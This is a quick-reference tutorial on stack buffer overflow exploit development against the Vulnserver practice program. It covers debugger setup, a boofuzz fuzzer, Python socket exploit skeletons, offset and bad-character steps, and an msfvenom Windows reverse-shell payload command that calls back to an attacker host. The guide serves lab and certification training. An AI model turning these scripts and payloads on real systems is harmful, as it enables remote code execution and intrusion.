2020

The Buffer Overflow Quick Guide

BUFFER OVERFLOW QUICK REFRENCE

POSEIDON-NG

POSEIDON-NG | https://poseidon-ng.com/

Table of Contents

Buffer Overflows

Immunity Debugger

Always run Immunity Debugger as an Administrator if you can!

Methods to debug an application in Immunity debugger:

1. Make sure the target application is running, next open Immunity Debugger, and then click File and Attach to attach the debugger to the process running the application
2. Open Immunity Debugger, and click File then Open to run the application.
3. Drag the target application onto the Immunity Debugger icon. (Please note in doing this it will not open Immunity or the application as an Administrator)

Once the application is opened in Immunity Debugger, the application with be paused. To run the application simply click the "Run" Button.

Important Hotkeys:

1. CRTL + F9 – Run the application
2. CRTL + F2 – Restart the application
3. ALT + S – Opens the SEH window
4. ALT + C – Open's the CPU window

Some applications are configured to be started from the service manager and will not work unless started by service control.

Mona.py

Mona.py is a python plugin developed by the Corelan Team. This plugin steam lines the buffer overflow process resulting in a more efficient exploit development process. Download: Mona.py

The Corelan Team did such a great job this plugin it even has a manual! The manual can be found Here.

After download instructions:

1. Locate the 'PyCommands' folder inside the Immunity Debugger application folder.
2. Move the Mona.py file into the PyCommands folder.
3. Make sure that Python 2.7.14 (or higher) is installed. (This should be installed when you install Immunity Debugger).

After the installation steps open Immunity and type the following into the command bar in Immunity:

```
!mona
```

Fuzzing

The following python script will utilize Boofuzz to fuzz an application (in our case Vulnserver). It will send a bunch of data to crash the application.

```
#!/usr/bin/env python3

from boofuzz import *

# Information from the target
host = "" # Windows VM ip here
port = 9999

# Boilerplate boofuzz stuff

session = Session(
        target=Target(
            connection=SocketConnection(host, port, proto='tcp')
            ),
        )

# Create a mode
s_initialize("") # Command you are wanting to fuzz

# Specify how the fuzz syntax works
s_string("", fuzzable=False) # The command you are wanting to fuzz goes in
qoutes
s_delim(" ", fuzzable=False) # A space inbetween our command and fuzz point
s_string("FUZZ") # This is our fuzz point

# Connecting to the service
session.connect(s_get("")) # The command you are wanting to fuzz goes in
qoutes
session.fuzz()
```

To install boofuzz use the following command:

```
Pip install boofuzz
```

Once the application has crashed boofuzz will generate a directory called boofuzz-results.

Inside the boofuzz-results directory you will find an SQLite database. To view the database, use the following command:

```
sqlitebrowser (file inside boofuzz-results directory)
```

Once the SQLite browser opens click the heading "Browse Data" and switch the table to "Steps".

Next match the output in EAX to what you find in the database.

Double check EIP to make sure you have overwritten the register and make note of any other registers that have been overwritten.

Controlling EIP

The following exploit code can be used as a skeleton buffer overflow exploit:

```
#!/usr/bin/python

import socket
import os
import sys

host = "Target IP address"
port = 9999

buffer = "A" * 5011

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()
```

Take the crash value found from our fuzzing and replace the value 5011.

Run the python script and check EIP to see if we have replicated the crash from our fuzzing. (Don't forget to start the program in Immunity before running the python script)

Determining the Offset

To generate the pattern to determine the offset there are two ways of doing so:

1. Utilize metasploits pattern_create.rb script by using the following command:

```
/usr/share/Metasploit-framework/tools/exploits/pattern_create.rb -l (length of buffer space)
```

2. Utilize Mona.py in Immunity Debugger by typing the following command in Immunity:

```
!mona pc (length of buffer space)
```

If you utilize the Mona.py method (Which I recommend you do), you will need to copy the ASCII pattern from the txt file called "pattern.txt" located at:

```
C:\Program Files\Immunity Inc\Immunity Debugger
```

Next paste the pattern into our buffer and run the python script.

After executing the script make note of the value in EIP and type the following command in Immunity to determine the offset:

```
!mona po (Value of EIP)
```

Running this command will result in an output like this (the value following the word "position" may be different):

```
- Pattern o7Co (0x6F43376F) found in cyclic pattern at position 2002
```

Now that we know the offset to our EIP value, we need to verify that we control EIP. To do this we can make the following changes to our exploit code:

```
#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

buffer = "A" * 2002
buffer += "B" * 4
buffer += "C" * (5011 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()
```

Crash the application using this buffer, and make sure that EIP is overwritten by B's (\x42) and that the ESP register points to the start of the C buffer (\x43).

Finding Bad Characters

Generate a bytearray using mona.py, and exclude the null byte (\x00) by default. This will generate a file called "bytearray.txt" and "bytearray.bin". Use the following command:

```
!mona bytearray -b "\x00"
```

Next go back to same location where we found our pattern.txt and copy the bytearray from the "bytearray.txt" file.

Make the following changes to our exploit and run the exploit:

```
badchars = “(contents of bytearray.txt)”

buffer = badchars

buffer += "C" * (5011 - len(buffer))
```

After crashing the application, make a note of the address in ESP. This can change every time you crash the application, so try to make a habit of copying it from the register each time.

Utilizing the compare command within mona, reference the bytearray.bin you generated, and the address of ESP.

```
!mona compare -f (location of bytearray.bin) -a (address in ESP)
```

Make a note of the bad characters found for later use!

Finding a Jump

The mona jmp command can be used to search for a jmp instruction to a specific register. The jmp command will, by default, ignore any modules that have rebase or ASLR enabled.

The following example searches for a “jmp esp” instruction while ensuring that the address of the instruction does not contain any bad characters you previously found:

```
!mona jmp -r esp -b “\x00\x86\x0a”
```

The mona find command can execute a similar use but the mona jmp command is sufficient for the purpose of this guide.

When adding the address of our jmp instruction be sure to write the value in little-endian format into our exploit

Generating a payload

Generate a reverse shell payload using msfvenom, making sure to exclude the bad characters you found previously:

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.27 LPORT=1337 EXITFUNC=thread -b

"\x00\x86\x0a" -f c
```

NOPs to Victory

If an encoder was used (which is more than likely due to bad chars), remember to add around 15 to 20 NOPs (\x90) to the payload.

Final Buffer

After making the changes to your exploit, your final buffer should look similar to the following:

```
buffer = "A" * 2002
buffer += "\xbb\x11\x50\x62" #This is for our JMP ESP address in reverse
order (little-endian)
buffer += nop
buffer += shellcode
buffer += "C" * (5000 - len(buffer))
```

Buffer Overflow Practice

- DoStackBufferOverflowGood
- Vulnserver (the example used in this guide)
- PWK/OSCP-Stack-Buffer-Overflow-Practice/
- TryHackMe's Brainpan